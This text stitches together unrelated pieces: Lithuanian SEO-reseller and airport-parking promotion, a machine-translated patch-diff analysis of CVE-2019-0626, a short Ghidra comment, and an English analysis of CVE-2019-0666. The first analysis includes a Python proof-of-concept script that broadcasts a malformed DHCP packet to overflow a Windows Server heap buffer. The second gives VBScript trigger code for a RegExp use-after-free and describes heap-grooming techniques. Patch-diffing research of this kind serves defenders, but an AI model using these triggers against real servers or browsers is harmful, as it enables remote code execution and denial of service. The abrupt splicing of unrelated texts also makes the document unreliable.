Atsakymas slypi SEO. Paieškos sistemų optimizavimas suteikė puikių galimybių žmonėms, kurie kurį laiką buvo bedarbiai. Nors daugelis interneto verslų užsidarė ir jiems taip ir nepavyko sugrįžti, SEO pramonė išlieka stipri. Ekonomikos nuosmukio metais SEO daugeliui žmonių ir įmonių tapo priemone išgyventi. Daugelis nusprendė optimizuoti savo svetaines ne tik tam, kad pateisintų savo egzistavimą, bet ir tam, kad pasiektų daugybę interneto vartotojų. Įmonių savininkai samdė SEO paslaugas dėl SEO gebėjimo iškelti verslą į viršų. Pasibaigus nuosmukiui, puikūs SEO rezultatai pasklido po visą internetą ir iš lūpų į lūpas, ir SEO pamažu tapo populiaresnis nei kada nors anksčiau. Didelė SEO paslaugų paklausa lėmė tiek SEO paslaugų teikėjų, tiek perpardavinėtojų sėkmę, kuri net ir ekonomikai kenčiant virto pelnu.
SEO paslaugų teikėjai
SEO perpardavėjo verslas gimė dėl SEO populiarumo. SEO paslaugų teikėjai norėjo, kad jų paslaugos pasiektų platesnę rinką, todėl samdė lauko tarpininkus, vadinamus perpardavėjais. Gimė naujas verslo ženklas, kuriame įmonės daugiausia dėmesio skyrė tik SEO perpardavimui. O kadangi konkurencija tapo vis didesnė, jos varžėsi naudodamos įvairius SEO perpardavėjų planus, kurie buvo pateikiami skirtingais paketais.
White Label SEO atrakina duris bedarbiams. SEO paslaugos bendrovės pasiūlė programą, pagal kurią žmonės galėjo prisijungti prie verslo be nario mokesčio. Geros SEO bendrovės atvėrė šią galimybę pristatyti ir pasidalyti savo sėkme su kitais, kad daugiau žmonių galėtų išgyventi ekonominę problemą ir įveikti didėjantį nedarbo lygį.
SEO populiarumo priežastis
SEO, kaip verslas, skirtas visoms nišoms. Jis neapsiriboja tam tikra tiksline rinka, nes gali prisitaikyti prie beveik visų pramonės šakų poreikių. SEO procesas gali būti naudingas visoms įmonėms, net ir pačioms SEO įmonėms. SEO egzistuoja tam, kad padidintų verslo sėkmę, nes įmonę pastebi milijonai interneto vartotojų visame pasaulyje. Naudojant tinkamus metodus, SEO gali paversti šiuos interneto vartotojus vartotojais, kurie palaikys įmonės produktus ir paslaugas.
Nedarbas išlieka net ir tada, kai SEO ir SEO perpardavimas auga. Daugelis vis dar abejoja SEO pramone, o kai kurie apie ją nežino. SEO yra skirtas visiems, bet ne tiems, kurie atsisako jo mokytis iš visos širdies, tiems, kurie abejoja jo galimybėmis, ir tiems, kurie mano, kad tai tik pinigų uždirbimo schema. SEO sėkmės nuosmukio ir ekonominių sunkumų įkarštyje priežastis – SEO paslaugų teikėjų ir perpardavėjų aistra ir atsidavimas.
Dėl didelių oro uostų taikomų automobilių stovėjimo mokesčių ne oro uoste veikiančių automobilių stovėjimo aikštelių operatoriai buvo skatinami steigtis nepaisant to, kad turėjo padengti papildomas išlaidas, susijusias su klientų pervežimu į oro uostą 7 dienas per savaitę 24 valandas per parą.
Pradžioje daugelis tokių aikštelių buvo tiesiog žemės sklypai šalia oro uosto su tvoromis, tačiau dabar šios veiklos yra daug profesionalesnės ir keliautojams rekomenduočiau naudotis tik Vyriausiųjų policijos pareigūnų asociacijos patvirtintomis aikštelėmis. 1992 m. jie pradėjo įgyvendinti Saugių automobilių stovėjimo aikštelių schemą, kurios tikslas – pagerinti saugumo standartus ir sumažinti automobilių vagysčių skaičių visoje Jungtinėje Karalystėje.
Tačiau atsakingi oro uostų automobilių stovėjimo aikštelių operatoriai šią schemą suprato kaip būdą išsiskirti iš kitų oro uostų automobilių stovėjimo aikštelių ir, nepaisant išlaidų, patiriamų atnaujinant automobilių stovėjimo aikštelę, kad ji atitiktų griežtus standartus, laikui bėgant atgauti šias išlaidas. Be to, nusikaltėliai ieškotų lengvesnių automobilių vagysčių.
Kiekviena policija turės savo specialų vertintoją, kuris kasmet aplankys kiekvieną operaciją ir patikrins šias sritis:
o ribas ir perimetrą
o Nusikaltimų registravimas ir statistika
o Apšvietimas
o valdymo praktika
o Automobilių stovėjimo aikštelės
o Pėsčiųjų prieigos
o Ženklinimas
o Stebėjimas
o Transporto priemonių patekimas
Apima ne tik saugumo aspektus, bet ir klientų saugumą, kuriam užtikrinti reikia aiškių ženklų, kad įvažiuojantys ir išvažiuojantys automobiliai kuo labiau sumažintų galimų nelaimingų atsitikimų skaičių. Atsižvelgiant į tai, visos zonos turi būti gerai apšviestos ir prižiūrimos 24 valandas per parą.
kuri nuo 1989 m. teikia automobilių stovėjimo aikštelių paslaugas visuose Jungtinės Karalystės oro uostuose, savininkas. Už oro uosto ribų esančiose automobilių stovėjimo aikštelėse galima sutaupyti iki 50 %, o kadangi vis daugiau keliautojų renkasi šį variantą, rekomenduojama iš anksto užsisakyti vietas, kad gautumėte geriausią kainą ir išvengtumėte stovėjimo oro uoste, kur kainos yra pernelyg didelės.
JK oro uostuose labai išaugo, nes oro uostų o
Per pastaruosius kelerius metus automobilių stovėjimo kaina JK oro uostuose labai išaugo, nes oro uostų operatoriai, netekę pelningos neapmuitinamų prekių rinkos, siekia padidinti pajamas. Tai ypač aktualu Gatviko, Hitrou, Mančesterio ir Glazgo oro uostuose. Automobilių stovėjimo oro uoste kainą galima gerokai sumažinti, jei iš anksto užsisakysite automobilių stovėjimo aikštelę, ir tai visada rekomenduojama daryti.
Verslininkams, turintiems mažai laiko, oro uosto automobilių stovėjimo aikštelės visada buvo priimtiniausias variantas, nes trumpiau užtrukdavo pervežimas iki terminalo, tačiau dėl kreditų krizės visos įmonės žiūri į sąnaudas, o ne oro uosto automobilių stovėjimo aikštelė gali padėti sutaupyti nemažai lėšų įmonei, kurios kelionių biudžetą reikia mažinti.
Reguliariai keliaujantiems asmenims taip pat verta susisiekti tiesiogiai su automobilių stovėjimo aikštele ir sužinoti, ar jie nesusitars dėl metinės sutarties.
Jei automobilių stovėjimo aikštelė skirta dviem savaitėms, paprastai reikia būti 15 dienų arba dėl laiko 16 dienų. Automobilių stovėjimo išlaidos gerokai padidins jūsų atostogų ar verslo kelionės išlaidas, todėl reikia skirti laiko galimoms galimybėms apsvarstyti. Svarbiausias veiksnys – bendrauti su ilgametę patirtį turinčiomis bendrovėmis ir užsisakyti automobilių stovėjimo aikštelę kuo anksčiau.
Automobilių stovėjimo aikštelių pasirinkimo galimybės ir klausimai, į kuriuos reikia atsižvelgti.
– Automobilių stovėjimo aikštelė oro uoste. Visada ieškokite išankstinio užsakymo, nes prie vartų kaina bus gerokai didesnė.
– Už oro uosto ribų esančios automobilių stovėjimo aikštelės paprastai yra pigesnės, tačiau paprastai jos būna pilnos, todėl rekomenduojama iš anksto rezervuoti vietas, kad būtų garantuota vieta, ypač sezono piko metu ir švenčių dienomis. Rinkdamiesi stovėjimo aikštelę ne oro uoste, atsižvelkite į pervežimo į oro uostą laiką.
– Pasitikimas, kai atvykus į oro uostą ir grįžtant jus pasitiks oro uoste, o jūsų automobilis bus nugabentas į saugomą stovėjimo aikštelę, kol būsite išvykę. Tai brangiausia automobilių stovėjimo oro uoste forma, tačiau greičiausia, nes nereikia persikelti į terminalus.
– Įsitikinkite, kad automobilių stovėjimo aikštelė yra patvirtinta pagal „Parktronikus” saugaus parkavimo schemą Pagal šią schemą esančios automobilių stovėjimo aikštelės kasmet tikrinamos, siekiant patikrinti aptvėrimą, vaizdo stebėjimo kameras, apšvietimą ir apsaugos darbuotojus.
Laikas, sugaištas renkantis tinkamą automobilių stovėjimo aikštelę, atitinkančią jūsų biudžetą ir asmeninius reikalavimus, visada yra gerai praleistas laikas, kad atostogos prasidėtų ramiai.
Autorius yra „Flypark”, kuri nuo 1989 m. teikia automobilių stovėjimo aikšteles oro uostuose ir oro uostų viešbučiuose, savininkas ir yra viena iš labiausiai įsitvirtinusių interneto bendrovių šioje srityje.
Per pastaruosius kelerius metus labai padaugėjo keliautojų, kurie renkasi viešbučio oro uoste automobilių stovėjimo aikštelę, kad atostogos prasidėtų be rūpesčių. Norėdami palyginti oro uosto automobilių stovėjimo aikštelės ir apsistojimo oro uosto viešbutyje su automobilių stovėjimo aikštele kainas, eikite į
Šiandien aš išsamiai parašysiu CVE-2019-0626 ir kaip jį rasti. Kadangi ši klaida egzistuoja tik „Windows Server“, naudosiu „Server 2016 VM“ (atitinkama pataisa yra KB4487026).
Pastaba: šios klaidos neradau aš, ją sukūriau iš 2019 m. vasario mėn. saugos pataisos.
Dvejetainis palyginimas
Atlikau BinDiff palyginimą tarp dhcpssvc.dll versijų prieš pataisą ir po jos. Žemiau matome, kad pasikeitė tik 4 funkcijos (panašumas <1.0).
Dhcpssvc.dll BinDiff palyginimas prieš ir įdiegus pataisą.
Pirmoji funkcija, kurią nusprendžiau pažvelgti, buvo „UncodeOption“. Mano samprotavimas yra toks, kad atrodo, kad tai kažkoks dekoderis, kuris yra dažna klaidų vieta.
Dukart spustelėjus tikslinę funkciją, rodomos dvi greta esančios srauto diagramos. Pradinė funkcija yra kairėje, o atnaujinta – dešinėje. Kiekvienas grafikas padalins funkcijas į loginius surinkimo kodo blokus, panašiai kaip IDA „grafiko vaizdas“.
Žalieji blokai yra vienodi abiejose funkcijose.
Geltonieji blokai turi tam tikrą instrukcijų variantą tarp funkcijų.
Pilkuose blokuose yra naujai pridėtas kodas.
Raudonuose blokuose yra pašalintas kodas.
Funkcijų valdymo srauto palyginimas
Anot BinDiff, buvo keli kvartalai modifikuotas. Įdomiausia, kad yra dvi kilpos, kurios abi dabar turi naują kodo bloką. papildomi blokai gali būti jei teiginiai, kuriuose yra papildomų sveikumo patikrinimų; tai atrodo gera vieta pradėti.
Nors BinDiff galima atlikti daugiau analizės, manau, kad sąsaja yra per sudėtinga. Manau, kad jau turiu visą reikalingą informaciją, todėl laikas pasinerti į IDA.
Kodo analizė
Jei turite pilną IDA versiją, galite naudoti dekompiliatorių, kad išvengtumėte surinkimo kodo ieškojimo. Dauguma klaidų bus matomos aukštu lygiu, tačiau labai retais atvejais gali tekti palyginti kodą surinkimo lygiu.
Dėl to, kaip veikia IDA dekompiliatorius, galite rasti pasikartojančių kintamųjų. Pavyzdžiui, „v8“ yra „a2“ kopija, tačiau nė viena reikšmė niekada nekeičiama. Kodą galime išvalyti dešiniuoju pelės mygtuku spustelėdami „v8“ ir pasirinkę susiejimą su kitu kintamuoju. „v8“ susiejant su „a2“, visi „v8“ atvejai bus pakeisti „a2“. Pakartojus visų nereikalingų pasikartojančių kintamųjų atvaizdus bus lengviau skaityti.
Čia yra vienas šalia kito esančio kodo palyginimas po valymo.
Šalutinis pataisytų ir nepataisytų funkcijų palyginimas.
Antrosios kilpos tipas (geltonas langelis) dabar yra „do while“, o ne „for“, kuris dabar atitinka pirmąją kilpą (ciklo formato pakeitimas gali paaiškinti daugumą geltonų blokų BinDiff). Svarbiausia, kad buvo pridėtas visiškai naujas sveiko proto patikrinimas (raudonas langelis). Mėlynoje dėžutėje esantis kodas taip pat buvo supaprastintas, dalis jo perkelta į kilpą.
Kitas mano žingsnis buvo išsiaiškinti, ką iš tikrųjų daro funkcija „UncodeOption“. Dešiniuoju pelės mygtuku spustelėjus funkciją ir pasirinkus „jump to xref…“, pateikiamas kiekvienos nuorodos sąrašas.
Nuorodų į UncodeOption sąrašas
Hmm… Visi „UncodeOption“ iškvietimai gaunami iš „ParseVendorSpecific“ arba „ParseVendorSpecific Content“. Tai veda mane į „Google“ „DHCP tiekėjo specifinis“.
„Google“ automatinis užbaigimas čia užpildė kai kuriuos tarpus. Dabar žinau, kad DHCP turi kažką vadinamo „pardavėjo konkrečiomis parinktimis“. Funkciją, pavadintą „UncodeOption“, iškviečia „ParseVendorSpecific“? Tam tikra prasme reiškia konkrečios pardavėjo parinkties dekodavimą. Taigi, kokia yra konkretaus pardavėjo parinktis?
Pardavėjo specifinės parinktys
Pirmasis „Google“ paieškos „DHCP tiekėjo specifinės parinktys“ rezultatas yra tinklaraščio įrašas, kuriame man pasakyta viskas, ką turėjau žinoti [1]. Labai naudinga, tinklaraščio įrašas paaiškina konkrečių pardavėjo parinkčių paketo formatą.
Formatas paprastas: 1 baito parinkties kodas, po kurio nurodomas 1 baito ilgio specifikacija, o po to – parinkties reikšmė. Dabar mums tereikia išsiųsti bandomąjį paketą.
Atsitiktiniame tinklaraštyje radau naudingą DHCP bandomąjį klientą [2]. Čia yra komandos pavyzdys.
Tai nustato konkrečios pardavėjo parinktį „labas pasaulis“. Dabar galime pamatyti, ar iškviečiamas „UncodeOption“.
Vykdymo laiko analizė
Bandydamas sumažinti kampus, nustatiau lūžio tašką „UncodeOption“. Išsiunčiau DHCP užklausą ir tikėjausi geriausio.
„IDA Pro“ atminties vaizdas
Nuostabu! Nukentėjo lūžio taškas. Atrodo, kad parametrus taip pat lengva suprasti.
RCX (1 argumentas) nurodo konkrečios tiekėjo parinkties pradžią.
RDX (2 argumentas) nurodo tiekėjo konkrečios parinkties pabaigą.
R8 yra 0x2B (pardavėjo pasirinkimo kodas).
Dabar dar kartą peržiūrėsiu dekompiliuotą kodą ir pridėsiu keletą aprašomųjų pavadinimų; Taip pat atspėjau keletą kintamųjų tipų. Konkrečių pardavėjo parinkčių formato žinojimas labai padeda.
Nepataisytas kodas po tam tikro pervadinimo
Kai kurie aprašomieji pavadinimai ir mano naujos žinios apie konkrečias pardavėjo parinktis padėjo suprasti kodą daug lengviau. Aš jį sulaužysiu.
Yra dvi kilpos (pradedant nuo 25 ir 44 eilutės).
Pirmoji kilpa
Gauna pasirinkimo kodą (1-asis parinkčių buferio baitas). Patikrinkite, ar parinkties kodas atitinka reikšmę, išsiųstą R8 (0x2B).
Gaukite parinkties dydį (2-asis parinkčių buferio baitas), tada prideda jį prie kintamojo, kurį pavadinau Reikalingas_size.
padidina buffer_ptr_1, kad nurodytų parinkčių buferio pabaigą.
Nutrūksta, jei naujas buferis_ptr_1 yra didesnis nei buferio pabaiga (buffer_end).
Baigiamas ciklas, jei „buffer_ptr_1 + parinkties dydis + 2” yra didesnis nei buffer_end.
Iš esmės kilpa gaus pasirinkimo vertės ilgį (mūsų atveju „labas pasaulis“). Jei buvo išsiųstos kelios konkrečios tiekėjo parinktys, ciklas apskaičiuos bendrą visų reikšmių dydį. Kintamasis „required_size“ naudojamas vėliau paskirstyti krūvos vietą.
Antroji kilpa
Gauna pasirinkimo kodą (1-asis parinkčių buferio baitas). Patikrinkite, ar parinkties kodas atitinka reikšmę, išsiųstą R8 (0x2B).
Gaukite pasirinkimo dydį (2-asis parinkčių buferio baitas).
Pridėkite parinkties reikšmę prie krūvos vietos (ty „hello world“), nukopijuodami baitų skaičių.
padidina buffer_ptr_2, kad nurodytų parinkčių buferio pabaigą.
Baigiamas ciklas, jei naujas buffer_ptr_2 yra didesnis nei buffer_end.
Kodo paskirtis
Funkcija įgyvendina tipinį masyvo analizatorių. Pirmoji kilpa nuskaitoma į priekį, kad būtų apskaičiuotas buferio dydis, reikalingas masyvo analizei. Tada antroji kilpa analizuoja masyvą į naujai paskirtą buferį.
Klaida
Pažvelgęs į dvi greta esančias kilpos versijas, kai ką pastebėjau.
Lyginimas vienas šalia kito (1 kilpa yra kairėje, 2 kilpa yra dešinėje)
Abi kilpos turi sąlygą, dėl kurios jos išeis, jei buferio rodyklė pasieks masyvo pabaigą (žalią dėžutę). Įdomu tai, kad 1 kilpa turi papildomą varnelę (raudonas langelis). 1 ciklas taip pat nutraukiamas, jei kitas masyvo elementas yra neteisingas (ty dėl jo dydžio rodyklė padidės po masyvo pabaigos). Logikos skirtumas reiškia, kad 1 ciklas patikrins kito masyvo elemento galiojimą prieš jį apdorodamas, o 2 kilpa nukopijuos elementą, tada išeis, nes buffer_ptr_2 yra didesnis nei buffer_end.
Kadangi 1 kilpa yra atsakinga už dydžio apskaičiavimą, paskirstytas buferis paskirs tik galiojančių masyvo elementų dydį. 2 ciklas prieš išeidamas nukopijuos visus galiojančius masyvo elementus, taip pat vieną netinkamą.
Taigi, kas būtų, jei atsiųstume šiuos dalykus?
Kenkėjiškų parinkčių masyvas
Dydžio skaičiavimo ciklas sėkmingai išanalizuoja pirmosios parinkties dydį (0x0B). Tada patvirtinamas kitos parinkties dydis. Atsižvelgiant į tai, kad po parinkties dydžio nėra 0xFF baitų, ji būtų laikoma negaliojančia ir į ją neatsižvelgta. Rezultatas būtų 0x0B (11 baitų) paskirstymo dydis.
Kopijavimo ciklas nukopijuos pirmosios parinkties reikšmę „hello world“. Antroje iteracijoje parinkties dydis nepatvirtintas. Kopijuojant prie buferio bus pridėta 255 baitai (0xFF). Iš viso 266 bus nukopijuoti į 11 baitų krūvos erdvę, perpildant ją 255 baitais.
Kad paskutinis elementas būtų laikomas negaliojančiu, tarp 2-osios parinkties ilgio ir buferio pabaigos turi būti mažiau nei 255 baitai (pasiekiama įdėjus kenkėjišką masyvą DHCP paketo pabaigoje).
Kai ką įdomaus reikia pastebėti: po paskutinės parinkties ilgio galime įrašyti bet kokį baitų skaičių, jei jis mažesnis nei 255. Mes galime perpildyti krūvą iki 254 baitų duomenų, kuriuos nurodome, arba iki 254 baitų bet kokio dydžio. po mūsų paketo krūvoje. Iš esmės galima skaityti ir rašyti už ribų (OOB).
Koncepcijos įrodymas
Kad patikrinčiau klaidą, turėjau sukurti kenkėjišką DHCP paketą. Pradėjau siųsti teisėtą DHCP paketą naudodamas dhcp testą, kurį užfiksavau naudodamas „WireShark“.
„WireShark“ rodomas DHCP paketas
Panašu, kad pardavėjo parinkčių buferis jau yra paketo pabaigoje, puiku! Aš tiesiog ištraukiau šešioliktainį kodą į python scenarijų ir sukūriau paprastą PoC.
Patarimas: galite dešiniuoju pelės mygtuku spustelėti stulpelį „Bootstrap Protocol“, tada pasirinkti „Copy“, tada „..As Escaped String“.
from socket import *
import struct
import os
dhcp_request = (
"x01x01x06x00xd5xa6xa8x0cx00x00x80x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x63x82x53x63"
"x35x01x01x2bx0bx68x65x6cx6cx6fx20x77x6fx72x6cx64xff"
)
dhcp_request = dhcp_request[:-1] #remove end byte (0xFF)
dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code
dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size
dhcp_request += "A"*254 #254 bytes of As
dhcp_request += struct.pack('=B', 0xFF) #packet end byte
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP
s.bind(('0.0.0.0', 0))
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) #put socket in broadcast mode
s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67
Tada prie svchost proceso, kuriame yra dhcpssvc.dll, pridėjau derintuvą ir nustatiau kai kuriuos lūžio taškus. Vienas lūžio taškas yra „HeapAlloc“, o kitas – po kopijavimo ciklo. Dabar siunčiu savo kenkėjišką DHCP paketą.
„HeapAlloc“ lūžio taškas pasiektas
„HeapAlloc“ lūžio taške matote, kad paskirstymo dydis yra 0x0B (pakanka vietos tiesiog „labas pasaulis“). Įdomu, kas atsitiks, kai vėl spustelėjame paleisti?
lūžio taško smūgis po kopijavimo
Oi! Analizatorius nukopijavo „hello world“ ir 254 baitus „A“ į tik 11 baitų dydžio krūvą. Tai tikrai perpildymas, bet neturėtume tikėtis gedimo, nebent perrašytume ką nors svarbaus.
Išnaudojamumo svarstymai
Krūvos perpildymai dažnai gali būti panaudoti norint gauti nuotolinį kodo vykdymą (RCE); tačiau pirmiausia reikia įveikti kai kurias kliūtis. Bėgant metams „Microsoft“ palaipsniui įdiegė naujas švelninimo priemones, sumažindamas krūvos perpildymo išnaudojimą. Apibendrinsiu kai kurias svarbias švelninimo priemones, tačiau išsamesnį aprašymą galite pamatyti „TechNet“. [3][4].
„Windows Vista“ ir naujesnės versijos
Dauguma bendrųjų krūvos perpildymo atakų remiasi krūvos metaduomenų klastojimu, siekiant įgyti savavališkas rašymo arba vykdymo galimybes (primityvus). Deja, „Windows Vista“ pridėjo krūvos metaduomenų kodavimą ir patikrinimą. Dabar metaduomenų laukai yra XOR su raktu, o tai labai apsunkina modifikaciją.
Neturėdami galimybės suklastoti krūvos metaduomenų, užpuolikai turi sutelkti dėmesį į pačių krūvos duomenų perrašymą. Vis tiek galima perrašyti objektus, saugomus krūvoje, pvz., klasės egzempliorių; jie gali pateikti tuos pačius primityvus kaip ir metaduomenų klastojimas.
„Windows 8“ ir naujesnės versijos
Paskirstymai, mažesni nei 16 368 baitai, yra vadinami mažo fragmentavimo krūva (LFH). „Windows 8“ prideda LFH paskirstymo atsitiktinių imčių, todėl paskirstymo tvarka tampa daug mažiau nuspėjama. Nesugebėjimas kontroliuoti, kur yra skirtas objektas, perrašymas tampa azartišku žaidimu; tačiau vis dar yra vilties.
Jei objekto paskirstymas yra kontroliuojamas užpuoliko, galima priskirti šimtus kopijų, padidinant sėkmingo perrašymo tikimybę. Žinoma, jūs turite rasti tokį objektą ir jis turi būti naudojamas.
Išvada
Negalėjau skirti tiek laiko šiai klaidai, kiek norėčiau, ir dar turiu rasti RCE metodą naujesnėms sistemoms. Iki šiol pastebėjau keletą TCP sąsajų, kurios gali leisti geriau valdyti krūvą. Darant prielaidą, kad nieko įdomesnio neatsiras, galbūt prie to grįšiu ateityje.
Nuorodos
„Microsoft“ tiekėjui būdingos DHCP parinktys paaiškintos ir demistifikuotos https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/
Šiandien, per RSA konferenciją, Nacionalinė saugumo agentūra išleido savo labai populiarią Ghidra atvirkštinės inžinerijos priemonių rinkinį. Apibūdinta kaip „programinės įrangos atvirkštinės inžinerijos (SRE) įrankių rinkinys“, „Ghidra“ skambėjo kaip kažkokia išmontavimo sistema. Prieš išleidžiant tikėjausi daugiau nei „Binary Ninja“, bet trūko derinimo programos. Maniau, kad įrankių rinkinys būtų idealus tiems, kurie domisi atbuline eiga, bet kuriems trūksta finansavimo IDA licencijai gauti.
Akivaizdu, kad bus daug sąmokslų, susijusių su paleidimu. Jau mačiau daug nepagrįstų teiginių, kad Ghidra yra NSA užpakalinės durys. Manau, kad šis įrankis yra tiesiog investicija į ateities kartą. Suteikdami įrankius ir žinias, kurių reikia norint paskatinti žmonių domėjimąsi, pagerinate bendrą talentą. Daugiau talentų lems aukštesnės kokybės kandidatus į darbą, o tai gali sumažinti NSA įgūdžių trūkumą; GCHQ jau kurį laiką naudoja panašius metodus.
Anyone who uses RegEx knows how easy it is to shoot yourself in the foot; but, is it possible to write RegEx so badly that it can lead to RCE? With VB Script, the answer is yes!
In this article I’ll be writing about what I assume to be CVE-2019-0666. The March 2019 security patch fixes multiple bugs in the same code, so the CVE number is uncertain.
Note: this bug was not found by me, I reverse engineered it from the March 2019 security patch.
Binary Comparison
Running a BinDiff between the pre and post patch VBScript.dll, we can see only a few changes are returned.
Difference between VBScript before and after installing the latest patch.
The two changes in the RegExp class caught my eye. It’s easy to see how a bug could occur in something as complex as a RegEx parser. Let’s start here.
RegExp::AddRef
Old AddRef on the left, updated one on the right.
This change is very simple, but requires an understanding of reference tracking:
A reference to an object is created: the reference counter is incremented by 1.
A reference to an object is deleted: the reference counter is decremented by 1.
The reference counter reached 0: object can be deleted.
Reference tracking is designed to prevent deallocation of in-use objects (use-after-free). An object will should never be deleted until all its’ references destroyed.
The updated function causes the interpreter to exit if the reference count increments above 0x7FFFFFFF (the highest value of a signed integer). The reason for the update is to prevent a potential integer overflow.
Theoretically, by creating enough references, one could loop the reference counter back around to zero. Once the counter is zero, the object could be freed while references still exist.
In reality, to cause an integer overflow we’d have to create 4,294,967,296 references. Optimistically assuming a single reference is only 4 bytes, that’d require use around 17 GB of RAM. Though, we’d hit the interpreter memory limit long before.
Alone, this bug is not a threat; however, in combination with another bug it could lead to use-after-free (UAF). For example: a reference leak.
RegExpExec::ReplaceUsingCallable
Note: this function is too large to embed in full, so I’ve just pulled out only the relevant changes.
Change 1: the beginning of RegExpExec::ReplaceUsingCallable.
The code now creates a copy of the memory pointed to by a6 (argument 6). To understand the reasoning for this, let’s look at the next modification.
Change 2: somewhere in the middle of RegExpExec::ReplaceUsingCallable.
The old code verified that a6 pointed to Buf1. Now there exists an additional check comparing Buf1 with the copyof *a6 made earlier (Buf2).
The very existence of code validating that a6 points to Buf1 tells us something important: a6 should point to Buf1, but there’s a possibility it might not. Furthermore, the new check implies it may be possible to change Buf1 between the first and 2nd call to Exec.
Already, I’m fairly sure we’re looking for a use-after-free. The update is now verifying that a6 still points to Buf1, and that Buf1’s content hasn’t changed.
There’s a logical reason these two checks would co-exist: Buf1 is some allocated memory, which can be freed during the call to ReplaceUsingCallable(). Assume Buf1 was freed, and something else was allocated in its’ place: *a6 would still point to Buf1, but Buf1 would now contain different data. Now the code has been patched to also validate Buf1 remains unchanged.
To understand the patched bug more, we need to understand RegExp.
RegExp has a replace function which replaces one or more matches of a given pattern with a given value. Take this code for example:
Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", "b")
The above code would replace the first instance of “a” in the string “aaa” with “b”; therefore, MsgBox would output “baa”. Stepping through the call, I found that internally the replace() method calls ReplaceUsingString(). We need to get to ReplaceUsingCallable(), and I’m pretty sure i know how.
ReplaceUsingCallable
As the name implies, we can probably call replace() using a callable objected as a parameter. I did some more digging to figure out how [1].
The following code does the same as the previous version, but invokes ReplaceUsingCallable() instead.
Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", GetRef("lolRegex"))
Function lolRegex(singleMatch, position, fullString)
lolRegex = "b"
End Function
Basically, whenever the pattern gets matched the function “lolregex” gets called (this is known as a callback). The callback must return what ever we want the pattern to be replaced with (in our case “b”).
Now I’m even more sure this is some kind of use-after-free. My guess is that during the callback we can free Buf1 and allocate something else at same address. But first, we must know what Buf1 is.
Buf1 is passed as a function argument, so i set a breakpoint at the start of ReplaceUsingCallable(). My breakpoint was triggered, then I navigated to Buf1’s memory.
The data contained in Buf1.
Using WinDbg to verify that Buf1 is in fact allocated on the heap.
Buf1 is allocated on the heap; there are also two “a” towards the end of the memory. Figuring the ‘a’s might be related to my RegEx pattern, I changed the pattern to “lolregex”.
new data contained in Buf1
Success! Now I know that Buf1 is related to my RegEx pattern.
My callback is invoked in the middle of ReplaceUsingCallable(), so I decided to modify pattern there.
Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", GetRef("lolRegex"))
Function lolRegex(singleMatch, position, fullString)
'Change the RegEx pattern during the callback
regex.Pattern = "I probably shouldn't be allowed to do this"
lolRegex = "b"
End Function
A wild error code appears.
The script returned the error code 0x80004005. A single location returns 0x80004005; it’s the pointer check from earlier.
I set a breakpoint on the pointer check and inspected both *a6 and Buf1. Buf1 is still the address of my old RegEx pattern (which has now been deallocated). Unfortunately, *a6 is now set to null. Exploit this bugwould require setting *a6 back to the address of Buf1.
Passing The Pointer Validation
After a fair amount of reverse engineering, I found the problem: although setting regex.Pattern to a new value frees Buf1, it doesn’t allocate a new buffer.
put_Pattern gets called when a value is assigned to the regex.Pattern.
Digging deeper, I discovered the function RegExpComp::Compile() is responsible for creating Buf1. Unfortunately, we can’t explicitly call regex.compile() in VBScript (though in other languages it is possible).
Due to the fact compile() is a VTable function, I can’t just look at XRefs to see where it gets invoked. Instead, I set a breakpoint at the start of Compile(); then I inspected the callstack.
The call stack for Compile()
Somewhat unsurprisingly, compile() gets invoked during a call to regex.replace(). By making a redundant call to replace() inside the callback, it’s possible to force compile my new pattern.
Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", GetRef("lolRegex"))
Function lolRegex(singleMatch, position, fullString)
regex.Pattern = "I probably shouldn't be allowed to do this"
call regex.replace("", "") 'force pattern compile but do nothing
lolRegex = "b"
End Function
Now when I run my script the check fails again, but for a different reason.
*a6 is set again, but not to the address Buf1.
The problem here is simple: the new compiled pattern must be allocated at the same address as the old one. It’s not possible to explicitly decide where heap memory is allocated; however, there is a workaround.
I’m not going to go too deep into how the heap works here. If you’d like a more in-depth understand, I suggest reading the original paper on “Heap Feng Shui” [2].
When allocating small blocks of memory, the heap allocator uses an algorithm to select some free space.
Heap Coaleasing
Upon freeing a block, the heap allocator checks if either of the adjacent blocks are also free. If two neighboring blocks are free, the are merged into a larger block (coalescing).
An example heap layout prior to Allocated Block 1 being freed.Upon freeing Allocated Block 1, the freed space is merged with Free Block 1 & 2.
Coalescing is a problem when trying to exploit a use-after-free. If the block we need to reallocate is coalesced downwards, then the new buffer would be allocated at a lower address.
To stop coalescing from occurring, we can abuse the low-fragmentation heap (LFH).
Heap allocations are inherently slow, due to the fact the allocator must search for a free block to fit the requested size.
The LFH improves performance by grouping together allocations of the same size. Let’s assume a 30 byte allocation is requested: if there’s a dedicated heap where all allocations are 30 bytes, then the allocator can simply return the 1st free block (no need to check the size). Because all blocks on the LFH must be the same size, coalescing is disabled.
